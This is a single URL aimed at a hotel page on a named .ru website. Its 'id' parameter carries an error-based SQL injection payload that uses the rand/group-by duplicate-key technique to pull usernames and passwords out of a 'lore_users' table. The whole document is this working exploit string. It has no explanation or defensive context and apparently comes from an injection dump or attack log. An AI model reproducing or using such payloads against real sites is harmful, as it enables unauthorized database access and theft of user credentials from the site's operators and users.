http://www.trevelone.ru/hotel.php?id=367+or+(select+count(*)from(select+1+union+select+2+union+select+3)x+group+by+concat(mid((select+concat_ws(0x3a,username,0x3a,password)+from+lore_users+limit+0,1),1,64),floor(rand(0)*2)))--